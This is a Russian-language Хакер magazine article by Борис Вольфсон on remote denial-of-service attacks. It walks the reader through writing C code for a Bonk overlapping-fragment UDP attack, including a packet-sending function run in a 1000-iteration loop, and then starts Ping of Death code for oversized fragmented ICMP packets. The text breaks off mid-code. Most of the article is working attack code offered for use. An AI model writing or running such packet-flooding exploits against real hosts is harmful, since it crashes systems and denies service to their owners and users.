Удар издалека Борис Вольфсон Спецвыпуск: Хакер, номер #048, стр. 048-030-3 Teardrop и Bonk: уничтожение по кусочкам Классика жанра удаленных атак, базирующихся на различных уязвимостях в программном обеспечении. Эти атаки основаны на том, что некоторые операционные системы неправильно собирают фрагментированные IP-пакеты. В итоге, операционная система затирает часть памяти со всеми вытекающими отсюда последствиями. Давай напишем программу, реализующую Bonk-атаку. Для начала определим константы и переменные: #define FRG_CONST 0x3 #define PADDING 0x1c struct udp_pkt { struct iphdr ip; struct udphdr udp; char data[PADDING]; } pkt; Структура udp_pkt представляет собой заголовки IP и UDP. Константы мы будем использовать при формировании IP-пакетов (см. ниже). Теперь можно написать подпрограмму для осуществления атаки. Этой функции требуется передать сокет, адрес/порт отправителя и получателя. void fondle(int sck, u_long src_addr, u_long dst_addr, int src_prt, int dst_prt) { int bs; struct sockaddr_in to; // обнуляем заголовок пакета memset(&pkt, 0, psize); // заполняем IP-заголовок pkt.ip.version = 4; pkt.ip.ihl = 5; pkt.ip.tot_len = htons(udplen + iplen + PADDING); pkt.ip.id = htons(0x455); pkt.ip.ttl = 255; pkt.ip.protocol = IP_UDP; pkt.ip.saddr = src_addr; pkt.ip.daddr = dst_addr; // фрагментированный пакет pkt.ip.frag_off = htons(0x2000); // заполняем UDP-заголовок pkt.udp.source = htons(src_prt); pkt.udp.dest = htons(dst_prt); pkt.udp.len = htons(8 + PADDING); // посылаем первый фрагмент to.sin_family = AF_INET; to.sin_port = src_prt; to.sin_addr.s_addr = dst_addr; bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to, sizeof(struct sockaddr)); // посылаем второй фрагмент pkt.ip.frag_off = htons(FRG_CONST + 1); pkt.ip.tot_len = htons(iplen + FRG_CONST); bs = sendto(sck, &pkt, iplen + FRG_CONST + 1, 0, (struct sockaddr *) &to, sizeof(struct sockaddr)); } Если послать два фрагмента, которые при сборке наложатся друг на друга, операционная система перезапишет часть памяти. Ну, а чтобы быть уверенными в результате, сделаем контрольный выстрел, вернее, тысячу контрольных выстрелов: запустим эту функцию в цикле. for (i = 0; i < 1000; ++i) { fondle(spf_sck, src_addr, dst_addr, src_prt, dst_prt); usleep(10000); } Ping of Death Этой атаке я даже не стал придумывать свое название: "Ping of Death" звучит уже круто, да и реализуется несложно. Правда, эта атака старовата. Чтобы реализовать Ping of Death, надо послать сильно фрагментированный ICMP пакет размером более 64 килобайт. Пишем: #ifdef REALLY_RAW #define FIX(x) htons(x) #else #define FIX(x) (x) #endif // . . . // готовим ICMP-пакет icmp-> icmp_type = ICMP_ECHO; icmp-> icmp_code = 0; icmp-> icmp_cksum = htons(~(ICMP_ECHO << 8)); for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) { // считаем смещение ip-> ip_off = FIX(offset > > 3); if (offset < 65120) ip-> ip_off |= FIX(IP_MF); else ip-> ip_len = FIX(418); // отправляем пакет |